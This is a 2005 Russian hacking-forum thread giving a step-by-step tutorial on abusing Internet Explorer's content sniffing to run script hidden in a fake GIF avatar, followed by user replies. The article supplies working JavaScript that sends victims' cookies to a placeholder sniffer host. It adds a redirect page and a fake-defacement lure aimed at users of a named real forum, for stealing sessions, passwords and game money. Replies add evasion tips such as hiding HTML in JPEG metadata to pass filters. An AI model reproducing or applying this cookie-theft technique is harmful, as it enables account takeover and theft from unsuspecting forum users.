Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Баг в ИЕ (отображение html в изображениях). Как юзать. (https://forum.antichat.xyz/showthread.php?t=9910)

censored! 08.10.2005 05:16

Баг в ИЕ (отображение html в изображениях). Как юзать.
 
Статью начал писать давно, но все что-то руки не доходили закончить. А тут - приболел малость. Вообщем - появилось n-e количество времени.
О чем: бага в ИЕ с отображением html-кода содержащегося в изображении известна давно и многим. Но, что-то, как-то публично не очень юзалась. А может просто забыли? Ну вот и вспомним:
---------------------------------------------
Если ничего не помогает, а выполнить произвольный html-код в браузере жертвы очень хочется, тогда остается последняя надежда - IE (Internet Explorer) у жертвы. Которым она бороздит просторы инета и портит вам нервы (канешна портит. иначе зачем вам она была бы нужна?)
--
Справка для тех у кого нет Интернета: внедрение произвольного html-кода на страницу сайта которую смотрит жертва называют CSS.
Так как уже есть такая аббревиатура и чтобы не путать с CSS - Каскадными Таблицами Стилей, такую хрень стали называть XSS.
А если мы можем внедрять любой html-код на страницу которую жертва посещает и там зарегистрирована, то мы имеем возможность:
получить сессию, логин, пароль (хэш пароля), сменить в анкете или настройках какие нить данные (если нам это позволительно), ну и совершать иные действия от имени жертвы (но без ее ведома и согласия).
Если, например, брать он-лайн игры - то можем перевести деньги другому игроку. При условии, что на перевод не стоит ввод пароля или не требуется ввод контрольных цифр или к.слова (которое с нормальным то зрением фиг прочитаешь), или не требуется всяческих подтверждений. Ну, или, выложить на Рынок всю амуницию жертвы по минимальной цене и потом все скупить. Вариантов очень много.
--
Где использовать: Практически везде, где есть возможность загрузки изображений (аватарок, фоток с ваших пьянок-посиделок и т.п.). Т.е. - форумы, чаты, службы знакомств, некоторые почтовые сервисы, он-лайн игры, etc...
Что нужно: немножко везения, ИЕ у жертвы, steep-by-steep который ниже.
---------------------------------------------
steep-by-steep:Чтобы было более понятнее, надо показывать на примере чего-либо (какого-нить сайта). Выберем этот сайт-пример. Лучше - Форум.
Чтобы выбор был чисто случайным и не было обвинений в предвзятости, используем маленький кусочек кода на JavaScript, который нам случайно (считай RND) сгенерит адрес этого сайта-примера:
...
Код:

<script language="JavaScript">
var domen = "qwtyiosxakep.rudfghjlzcvbnm";
max = 27;
for (i=0;i==i;i++)
        {
        var RandomTime=new Date();
        var z=(RandomTime.getSeconds())%max;
        if (z=="6")
                {
                alert(domen.substring(z+1,15))
                break;
                }
        }
</script>

...
Запускаем... Ждем... Получаем: xakep.ru Хм... Забавно и неожиданно получилось... :)
Ну Ок. Идем тогда туда и смотрим что там есть. А там есть Форум (http://forum.xakep.ru/). Этот Форум (Ideal BB) примечателен тем, что в куках хранит пароль в открытом виде...
--
Начинаем готовиться:
1.На некоторое время оставляем Форум и лезем на сайт narod.ru регистрировать себе там якобы "взломанный" нами сайт (для этого примера).
Я зарегистрировал http://www.protivhackerov.narod.ru
2.Открываем Блокнот, и пишем там следующий html-код:
...
Код:

<body onloаd="javаscript:document.locatiоn.replаce('http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru/index.htm')">
<script language="JavаScript">
img = nеw Imаge(); img.srс = "http://АДРЕС_СНИФЕРА.ru/snifer.php?"+document.cookie;
</script>

...
После чего сохраняем, например, под именем bad_avatar.gif (т.е. это у нас будет изображение содержащее html-код)
3.Заходим на сайт-пример (у нас это http://forum.xakep.ru/) и регистрируемся там под любым ником.
После прохождения регистрации, заходим в "Мой профиль"-"Редактировать профайл" там чуть ниже "Загрузить свой аватар на сервер." жмем "Обзор", выбираем наш bad_avatar.gif, жмем кнопку "Загрузить"... Вместо Аватарки будет показываться крестик (что правильно. у нас же там не изображение, а html-код). После всех этих процедур тыкаем правой кнопкой мышки в Аватарку, выбираем свойства и копируем полный путь (URL) нашей аватарки.
4.Открываем Блокнот (или в чем ты там изгаляешься?), и пишем там этот html-код (как урезанный пример):
...
Код:

<html><head><title>Сайт взломан!</title></head><body>Типа взломал</body></html>
...
Сохраняем как index.htm
5.Опять открываем Блокнот и пишем (ctrl+c/ctrl+v) там это:
...
Код:

<html><head></head><body>
<script lаnguage="JavaScript">
<!-- 
if (navigаtor.appNamе=="Microsoft Internet Explorer") windоw.locаtion.href="http://forum.xakep.ru/avatars/НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГРУЖЕНОЙ_НА_СЕРВЕР.gif";
else windоw.locаtion.hrеf="http://www.protivhackerov.narod.ru/index.htm";
// -->
</script></body></html><noscript><noscript><plаintext><plaintext>

...
Сохраняем как index.html
...
6.Заходим в "Мастерскую" Народ_Ру (или по ftp) и закачиваем на сайт АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_СА ТА.narod.ru (у нас это http://www.protivhackerov.narod.ru) эти две странички: index.htm и index.html
--
Справка для тех у кого нет Интернета:
Мы создали две индекс-странички. Одна (index.htm) - наш якобы "взломанный" сайт, вторая (index.html) у нас будет промежуточным звеном.
Почему два индекса? Потому что на Народ_Ру если зайти по ссылке http://www.protivhackerov.narod.ru отобразиться страница index.html Т.е. тоже самое если бы мы зашли так: http://www.protivhackerov.narod.ru/index.html если же не будет страницы index.html то сервер будет искать в корне сайта страницу index.htm
И нам они нужны именно две с одинаковыми названиями (разными расширениями), чтобы как то "замылить" глаз нашей жертве.
...
На странице index.html (в конце) после тэга </html> мы ставим <noscript><noscript><plaintext><plaintext> чтобы "убить" баннер Народ_Ру, который предательски показывается в правом верхнем углу.
...
7.Все. У нас все готово, настроено и прописано. Теперь топаем на Форум, регистрируем себе новое и нормальное имя, выставляем нормальный Аватар, лезем и создаем новую тему. Типа: "Аллоха, Гавайи! Народ, зацените, плиз, мой самый первый и очччень грамотный дефейс! http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru И отписывайтесь здесь, как он Вам?"
--
Справка для тех у кого нет Интернета:После того, как многие полезут заценивать твой грамотный дефейс, будет происходить вот что:
Когда они зайдут по ссылке http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru, то им загрузиться страница index.html на которой проверяется какой Браузер у посетителя. Если не ИЕ - то облом`с и перекидываем его на страницу index.htm (непосредственно страница нашего "взломанного" сайта).
Если же ИЕ, то посетитель перекидывается на наш загруженный bad_avatar.gif и после отсылки cookie к тебе на снифер, перекидывается на страницу index.htm где и лицезреет твой дефейс...
--
Ну а дальше ты топаешь и смотришь логи своего снифера, и радостно собираешь урожай...
---------------------------------------------
Справка для тех у кого нет Интернета (типа переменные):
http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru - адрес липового сайта, куда будем заманивать жертву
bad_avatar.gif - наше псевдоизображение содержащее html-код
НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГР ЖЕНОЙ_НА_СЕРВЕР.gif - это новое название нашей Аватарки bad_avatar.gif, но уже загруженной (при загрузке - может поменяться имя)
http://АДРЕС_СНИФЕРА.ru/snifer.php - адрес вашего снифера, который будет принимать и заботливо складировать переданные ему куки
index.htm - непосредственно страница с липовым Дефейсом
index.html - страница, которая у нас играет роль перекрестка (редирект). Если ИЕ - то на аватарку (куки передаются сниферу) и потом на index.htm, если не ИЕ - то сразу на index.htm
steep-by-steep - просто название. шаг-за-шагом (по-шагово)
--
Справка для тех у кого нет Интернета:
Ты лучше скажи - как ты вообще сюда попал, коли инета у тебя нету? ;)
---------------------------------------------
С Уважением, censored! [antichat.ru]


---------------------------------------------
p.s. сайт xakep.ru был выбран случайно (код JS вверху) =)

p.s.s. все было проверено на Форуме xakep.ru, но с единственной лишь разницей, что тема (как в п.7) не создавалась.
+ на настоящий момент загрузка Аватарок что-то вообще не работает.

p.s.s.s. Вот уже загруженная Аватарка (не bad_avatar.gif, а другая - как пример) покажет alert-ом куки: http://forum.xakep.ru/avatars/avatar15.gif (!!!)

p.s.s.s.s. В JS-код как мог выставил "защиту от дурака". Не маленькие уже. Сами разберетесь. :)

Tem 08.10.2005 11:20

Спасибо интересная статья , я даже на принтере напичатал его, но у меня маленкий вопрос, это всё делается на одной страничке индекс,или саздаём несколько страниц, для каждого кода и скрипта?.

-artik- 08.10.2005 12:49

2Tem там же написано блин=)

2cencored! спасибо, отлиная статья!

*Van* 08.10.2005 14:58

Хорошая статья, могу только добавить, что часто на форумах аватара со скриптом не загружается с харда-но отлично загружается с ссылки. И ещё один способ залить такую "картинку" на форум-отправить её самому себе в личном сообщении.

Xex 09.10.2005 00:42

Да...хотелось бы дополнить, что со следующими расширениями тож прокатывает описанная фича:avi,bmp,gif,jpeg,jpg,mpeg,mpg,ogg,pdf,png ,rar,txt если с ними не ассоциированны невиндовые проги...
Например адрес типа http://server.com/foto_from_party.rar
ничего подозрительного не вызывает...

Rabid Rabbit 09.10.2005 05:28

Пеши исчо:)
Кста сервак отдает Content-Type: image/gif но ИЕ типо "умный" и недоверяет))
Да на хакере.ру Server: Microsoft-IIS/6.0 - упал пацтул)))))))))

Антошка2003 09.10.2005 13:54

Цитата:

Сообщение от Ван
А где вообще можно посмотреть репутацию юзера?

А маленький, зелёнинький прямоугольничек под твоей аватаркой, наведи курсор туда и подожди, вылезет типа подсказки, и будет написана репутация. А свою можешь просмотреть в профиле.
сорри за оффтоп

ZaCo 17.10.2005 00:09

Бага действительно старая, а в статье мне понравилась интересная реализация. Довольно неплохо.
Кстати и в моей пропаченой версии осла скрипт тоже выполняется и вот вопрос сам билл, что думает об этом? Считают ли разроботчики выполнение скрипта в картинке ошибкой?=)

Rabid Rabbit 17.10.2005 10:42

Чта думает бил знаит тока сам бил, с вапросами к ниму))
Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными ))

Algol 17.10.2005 17:17

Цитата:

Сообщение от Rabid Rabbit
Чта думает бил знаит тока сам бил, с вапросами к ниму))
Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными ))

Да, я тож думаю что они считают это фичей.
В принципе такое поведение браузера довольно логично. Он не обращает внимания на расширение файла, потому как оно ваще может быть любым.
Например адрес http://blablabla.ru/image.php?index=2434 тоже может быть картинкой, однако из расширения этого не видно.
А вот то, что он игнорирует хидер HTTP запроса это уже не так хорошо.
Но и здесь есть логика. Дело в том, что сам сервер может не знать что именно он отсылает. Все тот же скрипт http://blablabla.ru/image.php?index=2434 может как присылать в хидере информацию о типе данных, так и не присылать - все зависит от воли разработчика.
Поэтому IE и не доверяет хидерам, а пытается парсить контент на ходу. Опера и мозиллы действуют проще - они тупо открывают файл в соответствии с инфой в хидере.

Кстати более интересный вариант, чем просто замена картинки хтмлом - это совмещение картинки и ХТМЛ в одном файле. Дело в том, что некоторые форматы JPEG поддерживают т.н. метатеги - это символьные поля, в которых может содержаться информация о картинке или об авторе. В эти поля естественно можно внедрить и HTML. В таком случае IE воспринимает этот файл как HTML, в то время как он на самом деле является вполне корректной картинкой )))
(и свободно проходит сквозь различные фильтры, проверяющие контент). Кроме того, такой файл отображается в Опере как нормальная картинка))


Время: 13:10